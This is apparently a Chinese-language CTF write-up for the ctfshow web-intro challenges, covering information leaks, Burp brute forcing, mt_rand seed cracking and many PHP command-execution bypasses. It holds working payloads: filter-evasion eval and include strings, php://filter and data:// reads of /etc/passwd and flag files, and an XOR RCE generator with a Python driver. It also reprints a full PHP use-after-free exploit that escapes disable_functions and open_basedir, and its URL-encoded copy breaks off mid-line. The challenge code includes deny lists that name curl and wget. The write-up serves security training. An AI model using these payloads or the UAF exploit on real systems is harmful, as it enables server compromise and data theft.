web入门
信息泄露(1—17)
web1 网页1
F12查看源码
web2 网络2
js禁用,限制网页某些功能
1、打开Google浏览器设置
2、打开隐私设置和安全性
3、选择网站设置
4、选择js
5、在禁止中添加网站
web3 网络3
抓包 burp suite抓包
web4 网页4
robots协议
robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取.可以通过访问/robots.txt,获取网站结构。
User-agent: * 这里的代表的所有的搜索引擎种类,是一个通配符
Disallow: /admin/ 这里定义是禁止爬寻admin目录下面的目录
Disallow: /cgi-bin/*.htm 禁止访问/cgi-bin/目录下的所有以”.htm”为后缀的URL(包含子目录)
Disallow:/ab/adc.html 禁止爬取ab文件夹下面的adc.html文件。
Allow: /cgi-bin/ 这里定义是允许爬寻cgi-bin目录下面的目录
Allow: /tmp 这里定义是允许爬寻tmp的整个目录
Allow: .htm$ 仅允许访问以”.htm”为后缀的URL。
Allow: .gif$ 允许抓取网页和gif格式图片
Sitemap: 网站地图 告诉爬虫这个页面是网站地图
web5 网络5phps
PHPS源码泄露 url/index.phps
php源码文件后缀为phps,可通过尝试访问/index.phps读取,或者尝试扫描工具扫描读取.
看到这个文件名为fl000g.txt,在访问一下
web7 -git泄露
git泄露
web8-svn
svn泄露
SVN(subversion)是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范。“在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的‘entries’文件,逐步摸清站点结构。”(可以利用.svn/entries文件,获取到服务器源码、svn服务器账号密码等信息)
web9-vim
VIM中的swp即swap文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。如果原文件名是data,那么swp文件名就是.data.swp
web10-cookie
web11 -域名解析
域名隐藏
web12-公开信息
web13-技术文档敏感信息
web14-editor
editor信息泄露
web15-邮箱泄露
web16-tz.php
php探针
web17-备份SQL文件
backup备份的意思
web18-js
打开js看游戏源码文件
Unicode编码
ctfshow{a0e8f5b4-357f-4277-8442-f05eee266e7a}
web19-前端密钥
这里得使用post传参
web20- mdb文件 db/db.mdb
mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱库了
url/db/db.mdb 下载mdb,打开
爆破 (21—28)
web21 Custom iterator
考察burp suite自定义迭代器(Custom iterator)
自定义迭代分三个部分,第一部分用户名admin,第二部分:,第三部分密码,又因为存在base64这种编码,url可能会过滤,所以要取消勾选
成功爆破
然后进行base64解码
ctfshow{b2fcc227-8225-4964-8fd2-58a432af25ce}
web22—子域名爆破
打不开,也没有爆出来,看的wp
不过找了几个子域名爆破的工具
https://x.threatbook.cn/
www.virustotal.com
https://dnsdumpster.com/
web23
网上找的wp不会写,呜呜
<?php $dict = "0123456789qwertyuiopasdfghjklzxcvbnm"; for ($i = 0;$i < 36;$i++){ for ($j = 0;$j<36;$j++){ $token=md5($dict[$i].$dict[$j]); if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){ echo ('原字符串为:'.$dict[$i].$dict[$j]); } } } } ?>
|
web24—伪随机数
<?php mt_srand(mktime()); echo(mt_rand()); ?>
|
web25
<?php error_reporting(0); include("flag.php"); if(isset($_GET['r'])){ $r = $_GET['r']; mt_srand(hexdec(substr(md5($flag), 0,8))); $rand = intval($r)-intval(mt_rand()); if((!$rand)){ if($_COOKIE['token']==(mt_rand()+mt_rand())){ echo $flag; } }else{ echo $rand; } }else{ highlight_file(__FILE__); echo system('cat /proc/version');p }
|
rand=0 -mt_rand,可以得到生成的随机数的负值
https://www.openwall.com/php_mt_seed/
mt_srand()是伪随机,通过分发种子,如果有种子的话,生成随机数的值也是固定的,生成的值也和php的版本有关,上面那个是随机数生成的一个工具,把他放在Linux下使用,
make一下,然后ls查看目录,就有了php_mt_seed
|
然后 time ./php_mt_seed 随机数
|
这个是火狐的一个插件,可以查看PHP版本信息,从这个插件wappalyzer可以知道此PHP的版本是7.几的,就按生成的随机数进行试验
<?php mt_srand(809023198); echo mt_rand()."\n"; echo mt_rand()+mt_rand(); ?>
|
444860526
2280606905
因为if((!$rand)) 才能进行下一步,所以要让r=第一个随机数才行。token=二三次之和,bp得到flag
web26
提示是爆破,那就进行爆破
还有一种方法
和js有关,我还没有接触到 就先不用那个方法做了
web27–爆破身份证
点进去都看一下
由此可见,需要进行爆破身份证号,从而得到学号和密码,bp抓包,这里很奇怪的是,火狐的bp抓不到这个登陆的包,只能换成谷歌
这里我建议把线程调低一点,要不可能会被ctfshow平台错误检测,封号
成功,进行重发
得到一串Unicode编码,拿去解码
登录出现flag
web28
这个题的提示是目录爆破
那就用bp爆破一下
爆破出来
命令执行 (29—77 118—124)
web29-过滤flag,不区分大小写
<?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
因为过滤flag,就只能用?通配符代替
web30
<?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
过滤了system可以用其他东西代替, 利用反引号命令执行将flag.php复制成1.txt然后访问
访问1.txt得到flag
web31
<?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
过滤的比较多,我们看看可不可以嵌套一个eval()函数来执行命令
可以嵌套,然后就进行构造payload ?c=eval($_GET[1]);&1=system('cat flag.php');
我们在这里传入了一个参数1,这样就脱离了对c的正则判断
因为在php代码中,cat打开的不会显示在页面上,只能显示在源码部分。查看网页源码
得到flag
或者写一个反cat,倒着显示出来 ?c=eval($_GET[1]);&1=system('tac flag.php');
web32
<?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
因为过滤了括号和分号,我们就用不需要括号的函数来做,用include()函数,?c=include$_GET[1]%0a?>&1=/etc/passwd
测试,文件包含成功 还可以测试能不能包含二进制文件 ?c=include$_GET[1]%0a?>&1=/bin/ls
?c=include$_GET[1]%0a?>&1=flag.php
因为include函数只包含flag.php变量,并不能进行输出,前面禁用了分号,造成没有分割,无法进行输出 我们需要用到伪协议进行任意文件读取,通过指定的一个base64通道读取文件,不通过base64编码是看不到文件的
?c=include$_GET[1]%0a?>&1=php://filter/convert.base64-encode/resource=flag.php
进行解码
web33
<?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
同32一样,?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
还有一种方法,用require()函数
?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web34
同理32 ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web35
<?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
同理32 ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web36
<?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
这里把0-9过滤掉了,肯定不能再用1进行传参,我们可以换成字母进行,换成x
?c=include$_GET[x]?>&x=php://filter/convert.base64-encode/resource=flag.php
web37
<?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
|
?c=data://text/plain,<?php system('ls');?>
用data伪协议可以查看到当前目录,那就进行读取flag,因为过滤掉了flag,所以我们用星号代替f以后的字符,因为目录下面只有f开头的这一个文件
web38
<?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
|
所以我们在构造payload的时候,要绕过flag PHP和file ?c=data://text/plain,<?= system("tac fla*");?>
用短标签=代替PHP
web39
<?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ //过滤了flag include($c.".php"); } }else{ highlight_file(__FILE__); }
|
?c=data://text/plain,<?php system("tac fla*");?>
web40
<?php
if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ //没有过滤字母,英文括号和分号 eval($c); } }else{ highlight_file(__FILE__); }
|
从变量里面发现 ?c=print_r(get_defined_vars());
这一步是拿到当前目录的所有变量
[_POST] => Array ( )
发现post数组,肯定要得到post包含的字符串,在post栏传入1=phpinfo();
果然可以传入,现在我们就可以在phpinfo();这个位置进行rce(远程代码执行)了
我们可以看到我们成功拿到这个数组,现在我们需要拿到phpinfo()这个数组值
?c=print(array_pop(next(get_defined_vars())));
array_pop()函数,弹出
加个eval()函数,集合执行
这一步就是rce了,传入代码执行命令,获取flag.php文件
web41
<?php
if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); } ?>
|
此处附一个异或exp脚本
<?php
function orRce($par1, $par2){ $result = (urldecode($par1)|urldecode($par2)); return $result; }
function xorRce($par1, $par2){ $result = (urldecode($par1)^urldecode($par2)); return $result; }
function negateRce(){ fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; }
function generate($mode, $preg='/[0-9]/i'){ if ($mode!=3){ $myfile = fopen("rce.txt", "w"); $contents = "";
for ($i=0;$i<256;$i++){ for ($j=0;$j<256;$j++){ if ($i<16){ $hex_i = '0'.dechex($i); }else{ $hex_i = dechex($i); } if ($j<16){ $hex_j = '0'.dechex($j); }else{ $hex_j = dechex($j); } if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; }else{ $par1 = "%".$hex_i; $par2 = '%'.$hex_j; $res = ''; if ($mode==1){ $res = orRce($par1, $par2); }else if ($mode==2){ $res = xorRce($par1, $par2); }
if (ord($res)>=32&ord($res)<=126){ $contents=$contents.$res." ".$par1." ".$par2."\n"; } } }
} fwrite($myfile,$contents); fclose($myfile); }else{ negateRce(); } } generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
|
跑完这个脚本会得到一个rce.txt
import requests import urllib from sys import * import os
os.system("php D:\\phpstudy_pro\\WWW\\rce_fuzz.php") if (len(argv) != 2): print("=" * 50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("=" * 50) exit(0) url = argv[1]
def action(arg): s1 = "" s2 = "" for i in arg: f = open(r"C:\Users\cyr\AppData\Local\Programs\Python\Python37\rce.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"|\"" + s2 + "\")" return (output)
while True: param = action(input("\n[+] your function:")) + action(input("[+] your command:")) data = { 'c': urllib.parse.unquote(param) } r = requests.post(url, data=data) print("\n[*] result:\n" + r.text)
|
这是一个跑rce的python脚本,放在python中运行
web42
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
|
这里我们可以采用双写绕过,第二个ls被写进黑洞里面,第一个ls正常执行
然后就输入命令获取flag,tac逆向返回,cat的话不会显示出来需要查看源码才能显示
web43
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
web44
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
这个题多过滤了flag,所以我们用?或者*进行占位 ?c=tac fla*%26%26ls
web45
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
多过滤了空格,现在我们需要绕过空格,%20 \t 都不能用,只能用%09代替连接?c=tac%09fla*%26%26ls
web46
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
%09虽然看着是数字,但是解码以后不是数字了,是水平制表符,所以依旧可以用%09绕过空格,这里多过滤了*,我们可以用?代替 ?c=tac%09fla?.php%26%26ls
web47
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
同46
web48
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
同46 ?c=tac%09fla?.php%26%26ls
web49
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
同46 ?c=tac%09fla?.php%26%26ls
web50
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
多过滤%09 %26,采用带行号读的命令,两个单引号分割字符串,中间执行的话会自动忽略
?c=nl<fla''g.php||ls
右键查看源码,因为被注释了,不在页面显示
web51
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
同50
web52
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
?c=mv${IFS}fla?.php${IFS}a.txt%7C%7Cls
写入a.txt文件
?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||ls
另一种解法
命令使用nl 或者uniq
?c=ls${IFS}/||
?c=nl${IFS}/fla’’g||
web53
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d = system($c); echo "<br>".$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }
|
过滤了tac,可以用’’绕过, ?c=t''ac${IFS}fla?.php
web54
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
|
看似过滤了很多,其实是多过滤了单引号绕过,我们还可以通过其他方法来进行绕过过滤
先进行重命名flag.php文件,然后直接访问即可
?c=mv${IFS}fla?.php${IFS}a.txt
web55
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
|
过滤了字母,考虑经典字母rce ,做一个文件上传的表单,在上传的过程中,通过.(点)
去执行执行这个文件,一般来说这个文件在linux下面保存在/tmp/php??????
一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
写入 进行?匹配
?c=.%20/???/????????[@-[]
最后一个是匹配大写字母
可以进行rce了,执行成功
修改上传内容,执行命令
web56
同web55
web57
<?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); } }else{ highlight_file(__FILE__); }
|
$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
|
查看源码
web58
<?php
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
|
禁用函数,试一试,禁用了cat system等,用 file_get_contents()
show_source()
c=show_source('flag.php');
c=echo file_get_contents('flag.php');
任意文件读取
web59
同web58,还可以用include函数做
POST: c=include($_GET[1]);
GET: ?1=php://filter/convert.base64-encode/resource=flag.php
最后进行base64解码
web60
<?php
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
|
法一:
用include()函数绕过 会得到一串base64编码,解码即可得到flag
POST: c=echo include($_GET[1]);
GET: ?1=php://filter/convert.base64-encode/resource=flag.php
法二:
用show_source();函数 在POST输入 c=show_source('flag.php');
法三:
传入shell
GET: ?1=/var/log/nginx/access.log
POST: c=include($_GET[1]);&a=echo highlight_file('flag.php');
上传一句话木马
web61
<?php
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
|
法一:
用show_source();函数 在POST输入 c=show_source('flag.php');
法二:
用include()函数绕过 会得到一串base64编码,解码即可得到flag
POST: c=echo include($_GET[1]);
GET: ?1=php://filter/convert.base64-encode/resource=flag.php
同web60
法三:
在POST输入: c=highlight_file('flag.php');
web62
法一:
在POST输入: c=highlight_file('flag.php');
法二:
在POST输入: c=show_source('flag.php');
法三:
包含以后输出
在POST输入: c=include('flag.php');echo $flag;
web63:
<?php
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
|
同62
新方法:
先包含进去,然后查看注册变量
在POST输入: c=include('flag.php');var_dump(get_defined_vars());
web64:
<?php
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
|
c=print_r(scandir(‘.’)); 查看目录
同63 62
web65:
<?php
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
|
还是可以用之前的方法白嫖
web66:
<?php
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
|
查看目录
在POST输入:c=var_dump(scandir('.'));
返回上级目录 c=var_dump(scandir('..'));
查看根目录 找到可疑文件 c=var_dump(scandir('/'));
打开flag.txt c=highlight_file('/flag.txt');
web67:
<?php
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
|
同web66
先查看根目录,打开flag.txt文件
c=var_dump(scandir('.'));
c=var_dump(scandir('/'));
c=highlight_file('/flag.txt');
web68:
扫描根目录 c=var_dump(scandir('/'));
用include()函数试一试 c=include('/flag.txt');echo $flag;
c=include('/flag.txt');
没有PHP标签,作为HTML自动输出
web69:
同web68,白嫖 c=include('/flag.txt');
web70:
继续白嫖 c=include('/flag.txt');
web71:
<?php
error_reporting(0); ini_set('display_errors', 0);
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); }
?>
你要上天吗?
|
题目附件
ob_get_contents()函数的用法
使用ob_start()把输出那同输出到缓冲区,而不是到浏览器;
然后用ob_get_contents得到缓冲区的数据,所以在任何时候使用echo,输出都将被加入缓冲区中,直到程序运行结束或者使用ob_flush()来结束。然后在服务器中缓冲区的内容才会发送到浏览器,由浏览器来解析显示。
函数ob_end_clean会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
此时得用一个函数ob_get_contents()在ob_end_clean()前面来获得缓冲区的内容。
这样的话,能将在执行ob_end_clean()前把内容保存到一个变量中,然后在ob_end_clean()后面对这个变量做操作。
正常情况下,在开发模式中,把错误显示出来,方便纠正,但在布署模式中,就得把错误关闭:
ini_set(‘display_errors’, 1); // 开启
ini_set(‘display_errors’, 0); // 关闭
此时,只是对包含在这个文件中的文件有效,本文件是无效果的:
test.php
ini_set(‘display_errors’, 0);
include(‘hi.php’);
此时,如果 test.php有错误还是会提示,但是如果 hi.php 有错误,则不提示
本题中的ini_set(‘display_errors’,0); 表示代码错误不提示
命令执行,
直接中断,不执行后面的命令 c=include('/flag.txt');exit();
web72:
下载附件
<?php
error_reporting(0); ini_set('display_errors', 0);
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); }
?>
你要上天吗?
|
查看目录 c=$a=scandir('/');exit();
open_basedir()
open_basedir是php.ini的一个配置选项,可以让用户访问的区域限制在指定文件目录中
在open_basedir的文件路径中,使用冒号:
作为分隔符
eg: open_basedir=/var/www/html/web/:/tmp/:/proc/
利用glob伪协议绕过
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0); ?>
|
uaf绕过open_basedir执行命令
<?php
function ctfshow($cmd) { global $abc, $helper, $backtrace;
class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } }
class Helper { public $a, $b, $c, $d; }
function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; }
function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; }
function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } }
function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; }
function parse_elf($base) { $e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } }
if(!$data_addr || !$text_size || !$data_size) return false;
return [$data_addr, $text_size, $data_size]; }
function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue;
$leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue;
return $data_addr + $i * 8; } }
function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } }
function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; }
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; }
if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); }
$n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x'); $abc = $backtrace[1]['args'][0];
$helper = new Helper; $helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); }
$closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2); write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); }
if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); }
if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); }
if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); }
$fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); }
write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd); exit(); }
ctfshow("cat /flag0.txt");ob_end_flush(); ?>
|
需要进行url编码
c=%3F%3E%3C%3Fphp%0A%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B